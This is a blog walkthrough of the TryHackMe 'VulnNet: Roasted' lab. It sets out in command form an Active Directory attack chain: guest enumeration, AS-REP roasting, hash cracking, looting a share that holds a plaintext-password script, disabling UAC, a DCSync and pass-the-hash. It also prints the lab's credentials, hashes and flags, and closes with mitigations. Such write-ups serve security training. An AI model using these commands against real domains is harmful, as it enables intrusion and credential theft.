VulnNet: Roasted TryHackMe Walkthrough

Rich
8 min readOct 14, 2023

--

TL;DR Walkthrough of the TryHackMe VulnNet: Roasted, a general practice VM.

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Background

This is more of a cheatsheet than a walkthrough. There are already many good walkthroughs out there, this one for example is really useful if you need hints regarding what to look for or what to try.

I used a really useful tool in Impacket that I hadn’t tried out before and used a couple others I hadn’t used since I setup the Cyber Range at work years ago, so this room was really good practice.

This writeup is really just to put some tool syntax all in one place.

There is also a trend I have noticed with TryHackMe and some other CTF type training. Students can’t exactly spear phish, do a drive drop, pull a supply chain compromise, or do a drive by download on a user to gain initial access. After all, there’s no users.

Hence most CTFs leave a vulnerable application or service open. In the case of VMs that are a DC, say for AD focused CTFs, they seem to really like leaving at least one Domain User without Kerberos pre-authentication required. This is not a default setting, but it’s an easy way to give students an initial in without requiring knowledge of webapps, which shouldn’t be running on a DC anyway.

The name of the room is a big hint as well. I figured that TryHackMe expected us to ASREPRoast, Kerberoast, or both.

Start with scanning & enumeration

As always, start with an nmap scan. I like to check for service versions, common ports, and OS.

sudo nmap -sV -O 10.10.89.72

We can be fairly confident that this VM is a DC for the vulnnet-rst.local domain. Let’s confirm and see what else we can discover with enum4linux.

I hadn’t used this TTP before, I got a hint from this walkthrough, but it’s always worth a shot to try running authenticated enumerations as Guest with no password.

enum4linux -u vulnnet-rst.local\\guest -a 10.10.89.72

Nice, we now know the share names, we know it’s a DC, we confirmed the domain name, and we got the domain SID.

Let’s add the domain to our hosts file on Kali.

sudo gedit /etc/hosts

vulnnet-rst.local 10.10.89.72

We don’t have a list of usernames to try, so Kerbrute is of limited use here. There is however a really useful tool in Impacket that I had not tried out before for this. It basically just tries a bunch of RIDs and sees if it gets a hit.

cd /home/kali/Downloads/impacket-master/build/scripts-3.9

./lookupsid.py vulnnet-rst.local/guest@10.10.89.72

Nice, we get some Domain User accounts. We can copy/paste those into a text file named vuln.txt and move on to the attack phase.

Gaining initial access

We already suspected that ASREPRoasting would be our way in, we just needed some usernames to try. We have some now, so let’s roast.

cd /home/kali/Downloads/impacket-master/build/scripts-3.9

./GetNPUsers.py vulnnet-rst.local/ -no-pass -usersfile /home/kali/Downloads/Wordlists/vuln.txt

We get a hit!

I already had the hashcat syntax handy from our Attacktive Directory Walkthrough:

hashcat -m 18200 ‘$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:82feb2b6253eea0c86261a9b4cb697b0$4c6b9c850ea702c2e4d6ff2c0015cb8c46295356832b5105919be342c821354bfcbc2d26a79de4ec115599cc38899900e1ca5deb6da090622b3d723ee6ce165e8fedb69766a7495b0c94f96c3aee8b3d1246f578310390619b3d08ba91fcbcfe9ca5f06f99f6a1b0ddfe511ea702212e4abb61ebe9e56403ca445feb247b7f3d1cc1afda73849f4d6fa386618cfb7027b509dec4ff76ba150318561b4efcfaa92bb1894d895e9da421c415a10c88e30a8ca85308fde70d3399264254267c13137e0430efefdc36b0b3d89f4755a8c294c51215d6cd9237f24fa1091cac677f396f88cde2a79b222df515622c10f45e6be5e96646e02f’ -a 3 rockyou.txt

However hashcat surprisingly failed us here. This is rare. I have had good luck with hashcat before and really like it. Hence we tried our second choice, John.

john --wordlist=/home/kali/Downloads/Wordlists/rockyou.txt /home/kali/Downloads/hashes/roasted

Look at that, we are now a legitimate Domain User.

Escalating Privileges

Our first thought was to try Kerberoasting, however that didn’t get any hits.

Our second thought was to check the NETLOGON and SYSVOL for plaintext credentials. This is supposed to be a “easy” VM after all, so I didn’t assume that DACL abuse would be the way. After all, Domain Users have read access to these by default.

cd /home/kali/Downloads/Pilfered

smbclient \\\\10.10.89.72\\NETLOGON -U vulnnet-rst.local\\t-skid

tj072889*

get ResetPassword.vbs

Hey, we got lucky. Let’s see if this user has WinRM rights.

evil-winrm -i 10.10.89.72 -u a-whitehat -p bNdKVkjv3RR9ht
Get-ADUser $env:username -Properties MemberOf

Holy smokes we’re a Domain Admin!

Ok, let’s try to get these two flags.

Get-ChildItem -Path C:\Users -Include *user.txt* -Recurse | Get-Content

THM{726b7c0baaac1455d05c827b5561f4ed}

Get-ChildItem -Path C:\Users -Include *system.txt* -Recurse | Get-Content

We hit a UAC issue pulling the second flag. Normally we could enable RDP, go into the GUI, hit ‘Yes’, and see Administrator’s files:

Set-ItemProperty -Path ‘HKLM:\System\CurrentControlSet\Control\Terminal Server’ -name “fDenyTSConnections” -value 0 ; Enable-NetFirewallRule -DisplayGroup “Remote Desktop”

Or we could simply disable UAC:

Set-ItemProperty -Path REGISTRY::HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0

However neither of these tactics wanted to work on this particular VM. Sometimes THM gets screwy with things.

On a sidenote, TryHackMe’s VM crashed the first time I tried to modify the registry. Hence an astute reader will notice that we are using a different IP address for the rest of this writeup.

DCSync

We will just have to dump all the domain hashes. Domain Admins can do this by default.

python3 /home/kali/Downloads/impacket-master/examples/secretsdump.py -just-dc a-whitehat:bNdKVkjv3RR9ht@10.10.92.47

Now let’s PTH and login as Administrator. Evil-winrm and xfreerdp are both awesome for doing this from Kali.

evil-winrm -i 10.10.92.47 -u Administrator -H c2597747aa5e43022a3a3049a3c3b09d
Get-ChildItem -Path C:\Users -Include *system.txt* -Recurse | Get-Content

THM{16f45e3934293a57645f8d7bf71d8d4c}

All done!

The full ResetPassword.vbs

In case anyone was curious like I was, here is the full ResetPassword.vbs that we downloaded from the VM’s share drive:

Option Explicit
Dim objRootDSE, strDNSDomain, objTrans, strNetBIOSDomain
Dim strUserDN, objUser, strPassword, strUserNTName
' Constants for the NameTranslate object.
Const ADS_NAME_INITTYPE_GC = 3
Const ADS_NAME_TYPE_NT4 = 3
Const ADS_NAME_TYPE_1779 = 1
If (Wscript.Arguments.Count <> 0) Then
Wscript.Echo "Syntax Error. Correct syntax is:"
Wscript.Echo "cscript ResetPassword.vbs"
Wscript.Quit
End If
strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"
' Determine DNS domain name from RootDSE object.
Set objRootDSE = GetObject("LDAP://RootDSE")
strDNSDomain = objRootDSE.Get("defaultNamingContext")
' Use the NameTranslate object to find the NetBIOS domain name from the
' DNS domain name.
Set objTrans = CreateObject("NameTranslate")
objTrans.Init ADS_NAME_INITTYPE_GC, ""
objTrans.Set ADS_NAME_TYPE_1779, strDNSDomain
strNetBIOSDomain = objTrans.Get(ADS_NAME_TYPE_NT4)
' Remove trailing backslash.
strNetBIOSDomain = Left(strNetBIOSDomain, Len(strNetBIOSDomain) - 1)
' Use the NameTranslate object to convert the NT user name to the
' Distinguished Name required for the LDAP provider.
On Error Resume Next
objTrans.Set ADS_NAME_TYPE_NT4, strNetBIOSDomain & "\" & strUserNTName
If (Err.Number <> 0) Then
On Error GoTo 0
Wscript.Echo "User " & strUserNTName _
& " not found in Active Directory"
Wscript.Echo "Program aborted"
Wscript.Quit
End If
strUserDN = objTrans.Get(ADS_NAME_TYPE_1779)
' Escape any forward slash characters, "/", with the backslash
' escape character. All other characters that should be escaped are.
strUserDN = Replace(strUserDN, "/", "\/")
' Bind to the user object in Active Directory with the LDAP provider.
On Error Resume Next
Set objUser = GetObject("LDAP://" & strUserDN)
If (Err.Number <> 0) Then
On Error GoTo 0
Wscript.Echo "User " & strUserNTName _
& " not found in Active Directory"
Wscript.Echo "Program aborted"
Wscript.Quit
End If
objUser.SetPassword strPassword
If (Err.Number <> 0) Then
On Error GoTo 0
Wscript.Echo "Password NOT reset for " &vbCrLf & strUserNTName
Wscript.Echo "Password " & strPassword & " may not be allowed, or"
Wscript.Echo "this client may not support a SSL connection."
Wscript.Echo "Program aborted"
Wscript.Quit
Else
objUser.AccountDisabled = False
objUser.Put "pwdLastSet", 0
Err.Clear
objUser.SetInfo
If (Err.Number <> 0) Then
On Error GoTo 0
Wscript.Echo "Password reset for " & strUserNTName
Wscript.Echo "But, unable to enable account or expire password"
Wscript.Quit
End If
End If
On Error GoTo 0
Wscript.Echo "Password reset, account enabled,"
Wscript.Echo "and password expired for user " & strUserNTName

That task is much simpler in PowerShell:

function Reset-Password {
$target = Read-Host "Enter the SamAccountName of the user whose password you want to reset."
If(Get-ADUser -Filter {SamAccountName -eq $target})
{

Try
{
Set-ADAccountPassword -Identity $target -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "ChangeASAP00!!" -Force)
Set-ADUser -Identity $target -ChangePasswordAtLogon $true -Enabled $true
Write-Host "$target password is now ChangeASAP00!! . Enjoy."
} #Close the try

Catch {Write-Host "Error, you probably don't have the rights required (GenericAll, ExtendedRight with GUID all 0s, etc). Please enumerate again. If you have WriteOwner or WriteDACL then use options 1 or 2 first."}
} #Close the If
Else {Write-Host "The target must be a user's SamAccountName"}
} #Close the function

I simply borrowed this function from Mishka’s AbuseTool and then added the line to force a password reset at next login.

Summary

This is a fictional organization obviously and only meant for practice and learning, however I’ll still point out the obvious mitigations:

  • Disable the Guest account, or just leave it disabled. It’s disabled by default.
  • Do not change the default on accounts RE Keberos pre-authentication.
  • Do regular audits and check for things like plaintext credentials where Domain Users can read them.
  • Bear in mind that mere Domain Users can read the SYSVOL and NETLOGON by default.

Overall this room was good practice and reminded me what I should look for while enumerating a CTFy DC.

References

MITRE on how attackers get initial access: https://blog.gitguardian.com/inital-access-techniques/

ASREPRoast: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast

enum4linux: https://www.kali.org/tools/enum4linux/

smbclient: https://www.learnlinux.org.za/courses/build/net-admin/ch08s02.html

Find a file with PowerShell: https://devblogs.microsoft.com/scripting/use-windows-powershell-to-search-for-files/

Enable RDP via PowerShell: https://pureinfotech.com/enable-remote-desktop-powershell-windows-10/

Disable UAC via PowerShell: https://answers.microsoft.com/en-us/windows/forum/all/disable-uac-using-powershell/6f37a6f6-fedc-475d-ad4b-cf724d6d91bf

--

--

Rich

I work various IT jobs & like Windows domain security as a hobby. Most of what’s here is my notes from auditing or the lab.